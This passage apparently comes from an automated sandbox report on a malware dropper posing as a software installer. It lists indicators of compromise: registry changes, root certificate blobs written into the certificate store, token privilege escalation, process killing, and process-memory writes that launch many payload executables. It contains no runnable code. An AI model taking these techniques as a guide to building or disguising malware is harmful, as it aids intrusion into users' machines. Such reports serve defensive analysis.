\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU identity_helper.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 5576 taskkill.exe 4828 taskkill.exe 1144 taskkill.exe -
Modifies data under HKEY_USERS 46 IoCs
Processes:
sihclient.exesvchost.exemsiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\8\52C64B7E svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\8 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust sihclient.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\7 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\7\52C64B7E msiexec.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust sihclient.exe -
Processes:
installer.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5c000000010000000400000000080000190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc36200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeWerFault.exeWerFault.exeWerFault.exesetup_2.tmpWerFault.exeWerFault.exeWerFault.exeWerFault.exe3313646.exe4390821.exe6546358.exeWerFault.exeWerFault.exeWerFault.exe8148614.exeultramediaburner.tmpChrome 5.exeWerFault.exe6069887.exeBafumiluto.exepid process 1324 powershell.exe 1324 powershell.exe 1324 powershell.exe 5456 WerFault.exe 5456 WerFault.exe 5472 WerFault.exe 5472 WerFault.exe 4844 4844 6024 WerFault.exe 6024 WerFault.exe 6108 setup_2.tmp 6108 setup_2.tmp 2428 WerFault.exe 2428 WerFault.exe 3228 WerFault.exe 3228 WerFault.exe 5492 WerFault.exe 5492 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 5360 3313646.exe 5360 3313646.exe 3388 4390821.exe 3388 4390821.exe 5136 6546358.exe 5136 6546358.exe 5356 WerFault.exe 5356 WerFault.exe 4768 WerFault.exe 4768 WerFault.exe 3968 WerFault.exe 3968 WerFault.exe 5728 8148614.exe 5728 8148614.exe 5132 ultramediaburner.tmp 5132 ultramediaburner.tmp 3128 Chrome 5.exe 3128 Chrome 5.exe 5948 WerFault.exe 5948 WerFault.exe 5664 6069887.exe 5664 6069887.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe 4372 Bafumiluto.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
4877252.exepid process 4548 4877252.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Sat196ac06a9e6.exeSat19f84b58b3d7.exepowershell.exeSat191649b47c9e2.exe4390821.exe2.exePublicDwlBrowser1100.exe6069887.exe3313646.exeBearVpn 3.exe6546358.exeWerFault.exeConhost.exe8148614.exe46807GHF____.exetaskkill.exe6069887.exedescription pid process Token: SeCreateTokenPrivilege 4112 Sat196ac06a9e6.exe Token: SeAssignPrimaryTokenPrivilege 4112 Sat196ac06a9e6.exe Token: SeLockMemoryPrivilege 4112 Sat196ac06a9e6.exe Token: SeIncreaseQuotaPrivilege 4112 Sat196ac06a9e6.exe Token: SeMachineAccountPrivilege 4112 Sat196ac06a9e6.exe Token: SeTcbPrivilege 4112 Sat196ac06a9e6.exe Token: SeSecurityPrivilege 4112 Sat196ac06a9e6.exe Token: SeTakeOwnershipPrivilege 4112 Sat196ac06a9e6.exe Token: SeLoadDriverPrivilege 4112 Sat196ac06a9e6.exe Token: SeSystemProfilePrivilege 4112 Sat196ac06a9e6.exe Token: SeSystemtimePrivilege 4112 Sat196ac06a9e6.exe Token: SeProfSingleProcessPrivilege 4112 Sat196ac06a9e6.exe Token: SeIncBasePriorityPrivilege 4112 Sat196ac06a9e6.exe Token: SeCreatePagefilePrivilege 4112 Sat196ac06a9e6.exe Token: SeCreatePermanentPrivilege 4112 Sat196ac06a9e6.exe Token: SeBackupPrivilege 4112 Sat196ac06a9e6.exe Token: SeRestorePrivilege 4112 Sat196ac06a9e6.exe Token: SeShutdownPrivilege 4112 Sat196ac06a9e6.exe Token: SeDebugPrivilege 4112 Sat196ac06a9e6.exe Token: SeAuditPrivilege 4112 Sat196ac06a9e6.exe Token: SeSystemEnvironmentPrivilege 4112 Sat196ac06a9e6.exe Token: SeChangeNotifyPrivilege 4112 Sat196ac06a9e6.exe Token: SeRemoteShutdownPrivilege 4112 Sat196ac06a9e6.exe Token: SeUndockPrivilege 4112 Sat196ac06a9e6.exe Token: SeSyncAgentPrivilege 4112 Sat196ac06a9e6.exe Token: SeEnableDelegationPrivilege 4112 Sat196ac06a9e6.exe Token: SeManageVolumePrivilege 4112 Sat196ac06a9e6.exe Token: SeImpersonatePrivilege 4112 Sat196ac06a9e6.exe Token: SeCreateGlobalPrivilege 4112 Sat196ac06a9e6.exe Token: 31 4112 Sat196ac06a9e6.exe Token: 32 4112 Sat196ac06a9e6.exe Token: 33 4112 Sat196ac06a9e6.exe Token: 34 4112 Sat196ac06a9e6.exe Token: 35 4112 Sat196ac06a9e6.exe Token: SeDebugPrivilege 1708 Sat19f84b58b3d7.exe Token: SeDebugPrivilege 1324 powershell.exe Token: SeDebugPrivilege 1144 Sat191649b47c9e2.exe Token: SeDebugPrivilege 3388 4390821.exe Token: SeRestorePrivilege 4844 Token: SeBackupPrivilege 4844 Token: SeDebugPrivilege 4220 2.exe Token: SeDebugPrivilege 4224 PublicDwlBrowser1100.exe Token: SeDebugPrivilege 4376 6069887.exe Token: SeDebugPrivilege 5360 3313646.exe Token: SeDebugPrivilege 6116 BearVpn 3.exe Token: SeDebugPrivilege 5136 6546358.exe Token: SeDebugPrivilege 6016 WerFault.exe Token: SeDebugPrivilege 5576 Conhost.exe Token: SeDebugPrivilege 5728 8148614.exe Token: SeDebugPrivilege 5000 46807GHF____.exe Token: SeDebugPrivilege 4828 taskkill.exe Token: SeDebugPrivilege 5664 6069887.exe Token: SeIncreaseQuotaPrivilege 1324 powershell.exe Token: SeSecurityPrivilege 1324 powershell.exe Token: SeTakeOwnershipPrivilege 1324 powershell.exe Token: SeLoadDriverPrivilege 1324 powershell.exe Token: SeSystemProfilePrivilege 1324 powershell.exe Token: SeSystemtimePrivilege 1324 powershell.exe Token: SeProfSingleProcessPrivilege 1324 powershell.exe Token: SeIncBasePriorityPrivilege 1324 powershell.exe Token: SeCreatePagefilePrivilege 1324 powershell.exe Token: SeBackupPrivilege 1324 powershell.exe Token: SeRestorePrivilege 1324 powershell.exe Token: SeShutdownPrivilege 1324 powershell.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
setup_2.tmpultramediaburner.tmpinstaller.exemsedge.exepid process 6108 setup_2.tmp 5132 ultramediaburner.tmp 3620 installer.exe 2112 msedge.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
cmd.exepid process 3708 cmd.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exeSat19ba05e89ea6d406.exedescription pid process target process PID 3544 wrote to memory of 5000 3544 setup_x86_x64_install.exe setup_installer.exe PID 3544 wrote to memory of 5000 3544 setup_x86_x64_install.exe setup_installer.exe PID 3544 wrote to memory of 5000 3544 setup_x86_x64_install.exe setup_installer.exe PID 5000 wrote to memory of 4604 5000 setup_installer.exe setup_install.exe PID 5000 wrote to memory of 4604 5000 setup_installer.exe setup_install.exe PID 5000 wrote to memory of 4604 5000 setup_installer.exe setup_install.exe PID 4604 wrote to memory of 3796 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 3796 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 3796 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 3612 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 3612 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 3612 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4008 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4008 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4008 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 660 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 660 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 660 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4276 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4276 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4276 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4792 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4792 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4792 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4148 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4148 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 4148 4604 setup_install.exe cmd.exe PID 3612 wrote to memory of 4112 3612 cmd.exe Sat196ac06a9e6.exe PID 3612 wrote to memory of 4112 3612 cmd.exe Sat196ac06a9e6.exe PID 3612 wrote to memory of 4112 3612 cmd.exe Sat196ac06a9e6.exe PID 4604 wrote to memory of 2156 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 2156 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 2156 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 884 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 884 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 884 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 768 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 768 4604 setup_install.exe cmd.exe PID 4604 wrote to memory of 768 4604 setup_install.exe cmd.exe PID 4008 wrote to memory of 1144 4008 cmd.exe Sat191649b47c9e2.exe PID 4008 wrote to memory of 1144 4008 cmd.exe Sat191649b47c9e2.exe PID 3796 wrote to memory of 1324 3796 cmd.exe powershell.exe PID 3796 wrote to memory of 1324 3796 cmd.exe powershell.exe PID 3796 wrote to memory of 1324 3796 cmd.exe powershell.exe PID 4792 wrote to memory of 1412 4792 cmd.exe Sat19e4750dd01.exe PID 4792 wrote to memory of 1412 4792 cmd.exe Sat19e4750dd01.exe PID 4792 wrote to memory of 1412 4792 cmd.exe Sat19e4750dd01.exe PID 768 wrote to memory of 3224 768 cmd.exe Sat19c6762a08beae.exe PID 768 wrote to memory of 3224 768 cmd.exe Sat19c6762a08beae.exe PID 768 wrote to memory of 3224 768 cmd.exe Sat19c6762a08beae.exe PID 4148 wrote to memory of 1708 4148 cmd.exe Sat19f84b58b3d7.exe PID 4148 wrote to memory of 1708 4148 cmd.exe Sat19f84b58b3d7.exe PID 660 wrote to memory of 1712 660 cmd.exe Sat1946eb84e6.exe PID 660 wrote to memory of 1712 660 cmd.exe Sat1946eb84e6.exe PID 660 wrote to memory of 1712 660 cmd.exe Sat1946eb84e6.exe PID 884 wrote to memory of 1272 884 cmd.exe Sat19e6a852f849bb2.exe PID 884 wrote to memory of 1272 884 cmd.exe Sat19e6a852f849bb2.exe PID 884 wrote to memory of 1272 884 cmd.exe Sat19e6a852f849bb2.exe PID 2156 wrote to memory of 2348 2156 cmd.exe Sat19ba05e89ea6d406.exe PID 2156 wrote to memory of 2348 2156 cmd.exe Sat19ba05e89ea6d406.exe PID 2156 wrote to memory of 2348 2156 cmd.exe Sat19ba05e89ea6d406.exe PID 4276 wrote to memory of 4592 4276 cmd.exe Sat199ba8a4637dcb034.exe PID 4276 wrote to memory of 4592 4276 cmd.exe Sat199ba8a4637dcb034.exe PID 2348 wrote to memory of 4712 2348 Sat19ba05e89ea6d406.exe Sat19ba05e89ea6d406.tmp
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
